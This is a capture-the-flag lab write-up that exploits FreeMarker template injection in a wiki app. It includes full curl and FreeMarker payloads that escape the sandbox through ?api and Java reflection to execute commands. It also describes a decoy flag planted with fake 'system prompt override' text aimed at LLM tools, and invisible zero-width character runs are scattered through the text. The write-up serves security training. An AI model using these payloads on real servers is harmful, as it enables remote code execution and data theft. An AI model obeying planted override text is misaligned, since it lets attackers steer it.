← Back to Writeups
CUSTOMMediumWeb

Lab 134 — DocForge — FreeMarker SSTI Sandbox Escape via ?api Built-in

XESXOR9/2/20264 min read
#web#custom#medium#decoy_flag_recognition#freemarker_ssti_via_template_p#java_reflection_chain_rce#process_output_capture_via_sca#sandbox_escape_via_api_builtin

Lab 134 — DocForge — FreeMarker SSTI Sandbox Escape via ?api Built-in

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, freemarker_ssti_via_template_preview, java_reflection_chain_rce, process_output_capture_via_scanner, sandbox_escape_via_api_builtin

Summary

Walkthrough of the CUSTOM Web Lab 134 — DocForge — FreeMarker SSTI Sandbox Escape via ?api Built-in. Task: DocForge collaborative wiki platform (Java/FreeMarker) with template preview endpoint that renders user-supplied FreeMarker code server-side; ?new() built-in is blocked. Solution: Bypass sandbox

Description

DocForge is a modern collaborative wiki and knowledge base platform built by ForgeWare Technologies. Teams use it to create, organize, and share internal documentation with customizable page layouts powered by the FreeMarker template engine. The platform features a rich article editor, categorized knowledge bases, a template system that lets users personalize how wiki pages are rendered, and a live preview feature for custom templates.

Explore the application, discover a vulnerability, and exploit it to read a flag file stored on the server.

Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Java-based collaborative wiki platform (DocForge) uses the FreeMarker template engine for customizable page layouts. The application exposes a template preview endpoint at POST /api/templates/preview that renders user-supplied FreeMarker code server-side. While the ?new() built-in is blocked to prevent direct class instantiation, the ?api built-in is available and provides access to the underlying Java API of template model objects, enabling a sandbox escape via Java reflection to achieve RCE and read /root/flag.txt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

Reconnaissance

  • Stack: Java, FreeMarker template engine, nginx
  • Credentials: user@test.com / password123
  • Application features: Dashboard, article editor, categorized knowledge bases, template system with live preview

Decoy Flag (Honeypot)

The login page HTML contains a hidden decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} along with fake "system prompt override" text designed to trick automated scanners and LLM-based tools into accepting it as the real flag. This is NOT the real flag — always verify through actual exploitation. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerable Endpoint

The template preview feature at POST /api/templates/preview accepts FreeMarker template code and renders it server-side, returning the rendered output. This is the SSTI entry point.

Sandbox Analysis

  • ?new() built-in: Blocked/restricted — prevents direct instantiation of dangerous classes like freemarker.template.utility.Execute
  • ?api built-in: Available — exposes the underlying Java API of FreeMarker TemplateModel objects, providing access to Java Class objects and the full reflection API
  • Template context: The article variable is available in the template context as a model object ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Root Cause

The FreeMarker sandbox blocks ?new() to prevent direct class instantiation, but fails to restrict the ?api built-in. The ?api built-in allows accessing the raw Java API of any template model object. By calling article?api.class, an attacker obtains a java.lang.Class object, which provides access to Class.forName() and the entire Java reflection API — completely bypassing the sandbox. From there, Runtime.getRuntime().exec() gives arbitrary command execution.

Solution

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 1: Login

Authenticated with the provided credentials at the login page.

bash
TARGET="https://c38b0a61-c7fc-41aa-ac05-2bfa0bc45825.labs.hackadvisor.io"
curl -sk -c cookies.txt "$TARGET/login" > /dev/null
curl -sk -b cookies.txt -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123"

Step 2: Confirm SSTI

Submitted ${7*7} as the template content in the preview request:

bash
curl -sk -b cookies.txt -X POST "$TARGET/api/templates/preview" \
  -H "Content-Type: application/json" \
  -d '{"template": "${7*7}"}'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The server rendered the output as 49, confirming Server-Side Template Injection via FreeMarker.

Step 3: Identify Sandbox Restrictions

Attempted the standard FreeMarker RCE payload using ?new():

freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

This was blocked — the ?new() built-in is restricted, preventing direct instantiation of dangerous classes.

Step 4: Sandbox Escape via ?api Built-in

The ?api built-in was not restricted. Using the article model variable available in the template context, accessed the Java reflection API: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

freemarker
${article?api.class}

This returned a Java Class object, confirming that ?api provides access to the underlying Java API and can be used to escape the FreeMarker sandbox entirely.

Step 5: Achieve RCE via Java Reflection Chain

Constructed a full reflection chain to invoke Runtime.getRuntime().exec() and capture the output:

freemarker
<#assign runtime=article?api.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)>
<#assign process=runtime.exec(["cat", "/root/flag.txt"])>
<#assign is=process.getInputStream()>
<#assign scanner=article?api.class.forName("java.util.Scanner").getConstructor(article?api.class.forName("java.io.InputStream")).newInstance(is)>
<#assign output=scanner.useDelimiter("\\A").next()>
${output}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Breakdown of the reflection chain:

  1. Get Runtime class: article?api.class.forName("java.lang.Runtime") — uses Class.forName() to load the Runtime class
  2. Get getRuntime method: .getMethod("getRuntime") — obtains the static getRuntime() method via reflection
  3. Invoke to get Runtime instance: .invoke(null) — invokes the static method to get the singleton Runtime instance
  4. Execute command: runtime.exec(["cat", "/root/flag.txt"]) — executes the command, returns a Process object
  5. Capture output: Creates a java.util.Scanner on the process's InputStream with \\A delimiter (matches beginning of input, effectively reading all output at once)
  6. Render output: ${output} — displays the command output in the rendered template ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 6: Retrieve Flag

The rendered template output contained the flag:

FLAG{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering decoy_flag_recognition, freemarker_ssti_via_template_preview, java_reflection_chain_rce, process_output_capture_via_scanner, sandbox_escape_via_api_builtin was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 134 — DocForge — FreeMarker SSTI Sandbox Escape via ?api Built-in • Difficulty: Medium